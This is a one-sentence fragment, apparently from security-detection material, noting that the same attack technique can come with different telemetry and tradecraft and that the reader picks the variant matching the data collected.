Different telemetry and tradecraft for the same technique — pick the one that matches the data you collect.